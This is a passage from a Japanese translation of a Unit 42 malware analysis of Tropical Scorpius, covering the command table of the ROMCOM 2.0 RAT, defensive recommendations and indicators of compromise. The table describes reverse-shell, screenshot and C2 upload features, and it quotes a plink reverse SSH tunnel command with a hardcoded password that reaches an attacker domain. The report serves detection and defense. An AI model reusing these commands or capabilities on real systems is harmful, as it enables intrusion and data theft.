このタスクは登録後トリガーされ、ROMCOM2.0のmain関数を実行します。これは元のサンプルと同じ様態で、startInetプロセスはハードコードされたC2サーバーに接続しにいき、受け取ったレスポンスはすべてstartWorkerプロセスに渡してしかるべく処理してもらいます。なお開発者らは、サポートするコマンドのリストを従来の10コマンドから20コマンドに拡張していました。追加されたコマンド群には、システムのスクリーンショット撮影(複数の撮影にも対応)に特化したペイロードをダウンロードするものや、インストール済みの全プログラムのリストを抽出後、C2に送り返すものなどが含まれていました(図30の「SCREENSHOOTER」という文字列が参照している部分)。

Cubaランサムウェアの開発者であるTropical Scorpiusはサポートコマンドリストを従来の10コマンドから20コマンドに拡張していました。追加されたコマンド群には、システムのスクリーンショット撮影(複数の撮影にも対応)に特化したペイロードをダウンロードするものや、インストール済みの全プログラムのリストを抽出後、C2に送り返すものなどが含まれていました(図30の「SCREENSHOOTER」という文字列が参照している部分)。
図30. 先に説明したSCREENSHOOTERのペイロードをダウンロードする部分。
コマンドの値 目的
1 接続されているドライブの情報を返す
2 指定されたディレクトリのファイル一覧を返す
3 %TMP%フォルダ内でwinconhost.exeという名前でリバースシェルを起動する
4 IShellDispatchを使ってファイルをコピーしC2にデータをZIPファイルとしてアップロードする
5 データをダウンロードして%TMP%フォルダ内のworker.txtというファイルに書き込む
6 指定したファイルを削除する
7 指定したディレクトリを削除する
8 PIDを偽装(スプーフィング)してプロセスを生成する
9 このコマンドの対象はstartInetのみ。このコマンドをC2から受け取るとプロセスはランダムな時間スリープする
10 特定プロセスのPIDを取得する
12 rundll32.exe %TMP%\\PhotoDirector.dll,startWorker singleを実行して%TMP%\\PhotoDirector.zipをC2 サーバーにアップロードする(スクリーンショットを単発で撮る場合に使うコマンドらしい)
13 rundll32.exe %TMP%\\PhotoDirector.dll,startWorkerを実行する
14 %TMP%\\PhotoDirector.zipをC2サーバーにアップロードする
15 実行中の全プロセスとプロセスIDを取得する 
16 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\UninstallまたはSOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstallのクエリを使ってインストール済みの全ソフトウェアのリストを取得する
18 受信したファイルSCREENSHOOTER%TMP%\\PhotoDirector.dllに書き込む
19 %TMP%\\BrowserDataフォルダを作成し、受信したファイルを実行する前に%TMP%\\BrowserData\\explorer.exeに書き込む
20 受信したファイルを%TMP%\\win_sshd.exeに書き込む。「説明」は「FreeSSHd」になっている
21 plink.exe -ssh -pw AeM8soequ@ooNg -R 9999:4444 poncho@CombinedResidency.org\nと説明されているがC:\\Program Files (x86)\\freeSSHd\\FreeSSHDService.exeを実行しているだけに見える
22 svcnet.exeFreeSSHDService.exeplink.exeを終了する

表4 ROMCOM2.0のサポートするコマンド群

保護と緩和策

以下のIoC(侵害指標)を活用し、自社への影響をご確認いただくことをお勧めします。

パロアルトネットワークスはCubaランサムウェアとTropical Scorpiusの活動を次の方法で検出/防止します。

  • Cortex XDR:
    • Cubaランサムウェアとその関連アクティビティ用の全インジケータ(指標)を検出します。
    • ランサムウェア対策モジュールでWindowsシステム上でのCubaランサムウェアによる暗号化の振る舞いを検出します。
    • Windows環境上でローカル分析によりCubaランサムウェアとROMCOM RATのバイナリを検出します。
    • BTP(振る舞い防御)ルールで関連アクティビティの実行を防止します。
  • WildFire: 既知のサンプルはすべてマルウェアとして識別されます。
  • 脅威防御は、Tropical Scorpiusのインフラに対する保護を提供します。
  • Advanced URL FilteringDNSセキュリティは、同グループに関連するドメインを悪意あるものとして識別します。

IoC(侵害指標)と関連TTP(戦略・技術・手順)はTropical ScorpiusのATOMからご確認ください。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。

  • 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42)
  • 欧州: +31.20.299.3130
  • アジア太平洋: +65.6983.8730
  • 日本: +81.50.1790.0200

サイバー保険にご加入の場合はUnit 42を名前指定でリクエストできます。また弊社 サイバーリスクマネジメントサービスをリクエストいただければ予防的措置を講じることもできます。

結論

Tropical Scorpiusは今現在もアクティブな脅威です。今回の同グループのアクティビティから明らかになったのは、「さまざまなツールをうまく組み合わせて低レベルのWindows内部機構を中心に産業スパイの手法で防御回避・ローカル権限昇格を行えば侵入にきわめて有効」ということです。

クライムウェア技術を多数うまいぐあいに組み合わせ利用されている状況で、防衛側はむずかしい対応を迫られています。

この対策としてUnit 42は、SysmonやWindowsコマンドラインログ、PowerShellログなどの高度なログ機能を有効にし、それらを適切に設定しておくことをお勧めします。なんらかのセキュリティ情報イベント管理ツール(SIEM)にログを転送し、そこにクエリをかけて検出できる機会を設けておくのが理想的です。コンピュータシステムの修正プログラムを最新に保ち、エクスプロイト技術に関連する攻撃対象領域を縮小してください。

また、XDR/EDRソリューションを導入してインメモリ検査を実施し、プロセスインジェクション技術を検出してください。セキュリティ製品の防御回避やラテラルムーブ用のサービスアカウント、ドメイン管理者に関連するユーザーの振る舞いに何らかのアノマリ(異常)の兆候がないか、脅威ハンティングを実施してください。

IoC

ドライバドロッパー:

07905de4b4be02665e280a56678c7de67652aee318487a44055700396d37ecd0
af6561ad848aa1ba53c62a323de230b18cfd30d8795d4af36bf1ce6c28e3fd4e
24e018c8614c70c940c3b5fa8783cb2f67cb13f08112430a4d10013e0a324eaa

ZeroLogonハックツール:

ab5a3bbad1c4298bc287d0ac8c27790d68608393822da2365556ba99d52c5dfb
6866e82d0f6f6d8cf5a43d02ad523f377bb0b374d644d2f536ec7ec18fdaf576
3febf726ffb4f4a4186571d05359d2851e52d5612c5818b2b167160d367f722c
3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0
36bc32becf287402bf0e9c918de22d886a74c501a33aa08dcb9be2f222fa6e24
1450f7c85bfec4f5ba97bcec4249ae234158a0bf9a63310e3801a00d30d9abcc

Cubaランサムウェア:

0a3517d8d382a0a45334009f71e48114d395a22483b01f171f2c3d4a9cfdbfbf
0eff3e8fd31f553c45ab82cc5d88d0105626d0597afa5897e78ee5a7e34f71b3

特権昇格ツール:

a4665231bad14a2ac9f2e20a6385e1477c299d97768048cb3e9df6b45ae54eb8

KerberCacheハックツール:

cfe7b462a8224b2fbf2b246f05973662bdabc2c4e8f4728c9a1b977fac010c15

ROMCOM RAT:

B5978cf7d0c275d09bedf09f07667e139ad7fed8f9e47742e08c914c5cf44a53
324ccd4bf70a66cc14b1c3746162b908a688b2b124ad9db029e5bd42197cfe99

インフラ:

CombinedResidency[.]org
optasko[.]com

追加リソース

From Zero to Domain Admin
Qbot and Zerologon Lead to Full Domain Compromise
CVE-2022-24521: Windows Common Log File System (CLFS) Logical-Error Vulnerability
Industrial Spy data extortion market gets into the ransomware game
(Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware

2022-08-12 17:00 JST 英語版更新日 2022-08-10 09:30 PDT の内容を反映
2022-08-18 11:30 JST 英語版更新日 2022-11-08 08:00 PST の内容を反映。誤って記載されていたROMCOM RATのIoCを1つ削除しました。